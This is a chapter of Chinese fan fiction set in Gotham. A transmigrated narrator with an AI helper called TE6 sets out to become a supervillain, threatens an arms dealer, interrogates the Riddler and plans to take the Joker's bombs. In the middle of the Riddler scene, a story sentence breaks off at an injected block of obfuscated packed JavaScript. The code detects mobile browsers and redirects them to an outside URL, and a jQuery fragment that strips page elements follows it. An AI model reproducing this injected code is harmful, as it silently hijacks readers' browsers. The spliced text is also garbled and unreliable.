我本以为当一个超反其实很容易，尤其是在哥谭这块遍地都是机遇的地方，你只要出门哥谭，在隔着你的公寓外三条街的巷子口，有一个正在发疯的疯子；而这名疯子不远处的大街上，有一具被GCPD围起来的尸体。而每个巷道都聚着三两成群的混混，他们吸食着发疯或者是抢劫，我真的从没见过这么混乱的城市，真是长见识了。


    甚至这个混乱还并非基于我所说的这些，而是基于他们深根蟠结的地下世界：盘踞已久的几大家族、各司其职的组织势力，还有蝙蝠侠。


    这是教父。我肯定地做出结论。


    而基于我的特殊性，我也并不需要帮助。独来独往才代表不会留痕，也不会和这里的任何人产生联系。因此等到杰森被孤独堡垒治好，我大概会以此为要挟，用绑架他让蝙蝠侠来救的方式送回给他心心念念的蝙蝠侠。


    能脱手养小孩的麻烦，又能在蝙蝠侠面前正式露面，简直是一举两得。而在他疗伤的这半个月里，除了完善准备，我还得去追查究竟是谁将我挂在仓库的，这种隐藏的变化我不放心，每每想起来就像是家里进了蟑螂，看不见，但你知道它在那，你总得在浑身发痒前将它送走——半个月时间，足够了。


    因此我更热衷于独来独往，没想到这反而成了我超反第一步的折戟之旅。他们哥谭人好像有自己独特的嗅觉和信息交流，我好像被排挤了。当我找到了一家店，提出想要购买些武备时，售卖这些的老板突然说：“我认识你。”


    “哦？”我不由得将放在那些花里胡哨的武器上的注意力转移到他身上。


    “你不是哥谭人，我这里的武器不卖给外地人。”


    ……


    算了，你知道我要说什么。


    我好脾气的向他解答我编好的背景故事：“我在哥谭出生，又好运的随着父母离去。如今我又搬了回来，你知道哥谭人总会落叶归根。”


    老板有些动容，但他依然坚定地说：“孩子，我很高兴你没有遗忘哥谭的荣光。但是这些武器不适合你，瞧瞧你，穿得奇形怪状的，听我一句劝，在这座城市特立独行可不是什么好事。”


    他说着还将旁边的抽屉拉开，里面是一些特立独行的刀具，我甚至还看到了一把菜刀。作为一名武器商，他在热烈的为我推荐一把菜刀：“不过你可以买些其他东西，我这也有不少，我来向你介绍介绍！”


    “……”我看了看我的穿着，只是一件黑色的只露出下半张脸的兜帽。最多带点我的个人审美，露指的战术手套，偏于戏剧和废土风格的黑色上衣——参考了我曾经所玩过的刺客信条兄弟会，和遮住了半个肩膀的连着兜帽的内侧呈红色的黑披风。不阻碍任何动作，甚至我还穿了个背带藏着双鞘刀。


    很华丽，不妨碍动作，但同时也并不抗击打和枪械——好在我不在意这点，痛苦将提醒真实性，真实性则会告诉我我不能死。这或许是一个伪命题：如果你害怕死亡？为何还要去迎接痛苦。理由是疼痛才不会让我失去对整个世界的自知，这些疼痛会告诉我我还有一个真实的目的。


    这是一种手段，可以很好地用来提醒自己为了什么而付出这一切。


    当然真正原因是TE6能修复我，这能让我舍弃很多可以舍弃的。


    ［我认为这很漂亮，而蝙蝠侠比我更奇形怪状。］


    我对这位哥谭人朝我特别定制的制服评价有些不满。


    “你对其他人也这么喋喋不休吗？”我产生了些许好奇。问题：作为一个贩卖这些武器的商人，期望他能有多少对你循循善诱希望你能走上正途的好心？


    等到枪口轻飘飘地对准了他的额头，他才终于住了嘴，眼神飘忽，似乎是在判断他拔.枪的速度和我开.枪的速度有多快。我不由得笑了一下：“可以请你告诉我，是谁告诉你的？你又在为谁拖延时间？”


    答案：有人警告他，不允许向我售卖这些东西。而他也说了，在这座城市特立独行不是一件好事。


    我自认除了帮助谜语人越狱、拐走未成年、售卖走私钻石、购买武装力量之外没做什么值得被人记在心里的事，我就连钻石都是分批分方式且还控制不至于贬值的数量售出。谜语人自从吸引住了蝙蝠侠的视线后脑子里只剩下了他和蝙蝠的小游戏，那么，究竟是谁？


    幕后之人或许也没多少耐心，在我疑惑友好地询问老板时，TA的线索很快就跑了出来。我看见老板原本还镇定自若地面对我的枪口。但随着他看向我背后的动作，他突然眼睛震动，冷汗直流，若非还有我在看着他，恐怕下一秒他就得夺门而逃。


    我懒洋洋地倚在他面前的玻璃展示台上顺着他的目光转头看了过去——啊，多么明显的答案？我收回了武器对着老板晃了晃，让他逃走。


    那是几个小丑帮的人，我早有耳闻——惨白的妆容和夸张的腮红，他们每个人手里都拿着钉满钉子的狼牙棒趾高气昂地对我说：“我们老板想见你。”


    来的真快，距离我救下杰森也只是过了四天。


    我笑了一下，从柜台起身，原本塌在柜面的披风随着我的动作而浮动，内侧的红色像是泛起了波澜的红湖。


    “那你们的老板可能得多派些倒霉鬼来了。”


    ——


    谜语人真的会为了数量而舍弃质量吗？答案是不会。他确实对那个年轻人的提议心动且还付诸了行动，但这只能是一种调味剂，他会有足够多的时间去思考和考察改造真正的谜题。蝙蝠侠也肯定心知肚明——在谜语人真正的谜语出现之前，谜语人是安全的，所以他一开始只是慢慢地找寻少有人烟的区域潜藏的谜题。


    蝙蝠侠并不急着抓捕谜语人，在所有的反派里，如他这般可以合作、可以帮忙又不具备最基本的如老鼠人那般的威胁，像企鹅人、像急冻人，甚至于黑面具，蝙蝠侠都会暂且允许他们在这座城市活动，因为他们也是这座城市的一份子，直到那些排在前头的威胁被蝙蝠侠一一扫除，他才会将这些比较安全的反派提上日程表来逮捕。


    但若说这是默认他们犯罪，也并非如此，他一直在力所能及的帮助哥谭变得更好。


    谜语人一直不满这点，他总认为自己的聪明和危险性应该被所有人知道和警惕，而科波特总是对此讽刺的直笑，所以当得知小丑将他放置的那些小奖励大部分都换成了炸弹，谜语人是默认的。


    他可以允许小丑玷污他的谜题，仅仅是让蝙蝠侠知道他，谜语人，也是蝙蝠侠的心头大患！反正蝙蝠侠总会将那些炸弹全部拆除。


    也因此，当哈莉询问是谁救走了小丑的玩具时，他回礼似地告知了对方那个年轻人跟他说的代号。正如此刻对方悠闲地在他面前观看着他的大全时，他也毫不犹豫地出卖了小丑，这也是一份回礼，回报对方将他从阿卡姆接出去的礼物。


    希望一个罪犯有良心？不如希望蝙蝠侠杀人。


    “我已经告诉你小丑是为什么找你了。”谜语人说。


    眼前的这名只有阿卡姆疯人院那次才见了面的年轻人在不久前像是在耍杂技一般蹲在他的窗前敲了敲玻璃，等到谜语人注意到了看了过去，他笑着朝他挥了挥手：“您好，尼格玛先生。我想您应该对我的到访并不惊讶。”


    确实如此。谜语人其实对他的印象挺好的，但他并不了解对方，也不敢肯定如果拒绝他的进入这位新面孔会做出什么来。因此他打开了窗，看着对方轻巧地跃入再无声的落地。


    谜语人这才注意到对方换了身衣服，遮盖住了他那双漂亮的眼睛，仅仅露出笑着的下半张脸和他左侧的一撮麻花辫。低跟的裹脚靴随着他的走动踩在地板上发出清脆的节奏，而他左肩的披风也略有飘动，露出内里的红色，在黑夜和灯光下强势的挤入了第三种颜色，配着他那高挑精瘦的身材和不容忽视的存在感，直接在观感上就挤占了谜语人呼吸的空间。而他腰间挂着的手枪则代表了他或许是有备而来。


    他有些不适应，上次有这种感觉还是蝙蝠侠踹破他的玻璃把他按在地上审讯让他喘不上气的时候。


    谜语人知道对方是为什么而来的，他听说小丑在回阿卡姆疯人院时看到他辛辛苦苦培养的旧罗宾消失不见时发了好一场怒火，甚至不久前哈莉还从这里得到了答案。这不难猜。


    可他已经在这场游戏里付出了他的谜语，自小丑加入后一切不再可控。谜语人默认这种事的发生，但不代表他会喜欢参与有小丑的活动。


    所以在看到对方并没有说话，只是闲情逸致地摸着他用喷漆喷满各种绿色问号的桌子，还拿走了他翻到一半的谜语大全靠在桌子上老神在在地看着时，谜语人开了口。他可不希望后续扯进小丑的游乐场里。


    而谬论，他只是笑，遮住了眼睛后谜语人猜不出他究竟是什么情绪。无声的压力随着谬论慢悠悠的一张一张翻阅书页的声音而来，或许就连此刻昏黄的灯光都是帮凶，那层红披风在长久的盯视下更加鲜艳和凶狠地占据了谜语人的视觉，这是一种心理层面的施压，谜语人也学过相关的知识。


    你看，如果走出去别人问你都学过什么知识，你只回答一种所有人都会瞧不起你。


    而就在谜语人终于要忍不住时，谬论终于动了。他说：“何必如此警惕？尼格玛先生。我愿意为您勇闯阿卡姆，就该知道我对您的好意了。”


    他将大全重新合并后放回桌面上，走到他面前，那张兜帽掩盖住了眼睛却依然让谜语人觉得对方在注视着自己。而后他又说：“我只是想来问您，小丑，他想做什么？”


    谜语人将小丑真正出卖了，他将小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203096|181234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丑在哥谭放置炸弹的事告知给了谬论。于是谜语人看见谬论微微昂头，收回了抵在他腰间的枪械，随即又像是戏剧落幕时的优雅致谢。


    “感谢您的帮助，先生。希望您有一个美好的夜晚。”


    他走了。


    谜语人重新拿回了谜语大全，等他重新翻看再想着找找灵感，忽然发现他之前折页的那页被人抚平找不到了。


    ——


    我去找谜语人是在我将那些小丑帮全都杀了之后发生的事，当你越过杀人界线时再杀人确实是一件轻而易举的事。而我杀的也都是些罪犯。


    小丑来找我，这并不意外。我只是好奇他是从哪里知道的，当时所有监控都被TE6重新覆盖，也没有目击证人……哦，不对，确实是有一位的，那位还是我自己放出来的证人。


    于是我去找了谜语人，好悬没一进去差点就被满地的绿色荧光问号给闪瞎眼，以至于我不得不拿起他的谜语大全装作在看来避免我失明，顺带还将谜语人做的记号也给抹平了——TE6帮的忙，他直接复制频率扫了个新的替代出来。我为什么一直赖着没走就是因为TE6需要点时间。


    但不得不说有些谜语还挺好笑的，将我都逗笑了。


    等从谜语人那边出来后，TE6开了口。


    ［您现在要去找小丑吗？］


    ［当然不。］


    我没有钩爪，只能靠这具身体的跳跃能力和柔韧度在每一间距离不远的房顶上将自己在建筑间甩来甩去，边甩还边回复TE6。


    ［我对哥谭还是了解太少了，你听到谜语人的话了，今夜警长和狼人睁眼，村民请闭眼。蝙蝠侠会拖延小丑，而小丑也只见蝙蝠。


    但我可以混水摸鱼。］


    今晚有些太安静了，平时再如何街上都会有些地痞混混，可今晚几乎少见。而此时，不远处GCPD的上方突然出现了一个巨大的蝙蝠标志，它印在天幕上通知所有见到这一幕的人蝙蝠侠将来到这里。


    ［小丑的炸弹一共有多少颗？］


    ［36颗，足够炸毁一个小区域，差不多是一个操场的范围。您要去帮忙吗？］


    ［什么？不。我好歹是要发展成反派的。］我有些惊讶TE6为什么要这么想，［小丑的炸弹摘下来还能用吗？］


    TE6不由得迷茫地问：［您已经报复了蝙蝠侠，为什么还这么在意成为超反？］


    我已经跃过两个天台，最后轻巧地落在了电线杆上。踩着上门凸出来的落脚点，我直起身，远处还有两道在高楼中不停穿过的人影。


    GCPD上方的图案实在太过夺目，就我过来的这一路，我甚至看到本就今夜为数不多的罪犯在看见蝙蝠标识时竟慌不择路地溃散而逃，这或许是侧面说明英雄压过了邪恶，为罪犯带来无法抗拒的恐惧。


    我却知道，这旗帜并非今夜的光，每一夜皆如此，可每一日亦不变。


    ［只因罪恶比正义更深刻。］


    于是TE6说。


    〔我不建议您这么做，小丑将炸弹做了两手机制，当您拆除后会触发第二层机制的笑气，这方面我无法帮您排出。但如果您只是让我扫描频率进行复制，我可以为您复制两个。〕


    ［那已经很好了。］


    ［最近的炸弹在哪？］


    ［往前走四百米，左拐，六百米处的通风管道里。不过您需要注意的是，蝙蝠侠已经在您离开两分钟后逮捕了谜语人，从他那里得到了炸弹的数量和方位，不过由于数量和时间问题，他叫回了夜翼，您所前往的区域有概率会碰到他。］


    ［夜翼是谁？］


    怎么还有一个我完全没在哥谭听过的代号名称？


    ［是蝙蝠侠的第一位罗宾，后改名为夜翼在布鲁德海文单飞。］


    ……蝙蝠侠究竟有几个罗宾？怎么还有第一位这种说法。


    我沉思了片刻，注意到TE6专门提及的笑气，有些迟疑的求证。


    ［你说的这个笑气，是我认识的那个吗？］


    ［是一氧化二氮，小丑对其进行过专门的加工和处理。比普通的一氧化二氮更为危险，目前解药很难得，只有小丑有。］


    我不得不回想收集到的那些反派情报。


    ［哥谭这方面的人才是不是有些多了？］


    但这也只是一句感慨，听上去小丑的笑气非常值得我冒着一次险。不知道为什么，很多危险的武器竟然是被限制贩卖的，因此一个毒气炸弹就难得可贵了，最重要的是它还能白嫖。卖钻石的钱从定制制服后就不太多了，能省一点是一点吧。


    ［干了！］


    毕竟TE6曾说过：谬论需要引起注意的支柱，在阿卡姆系列里，蝙蝠家是重中之重。总要碰面的，那就先从夜翼开始吧。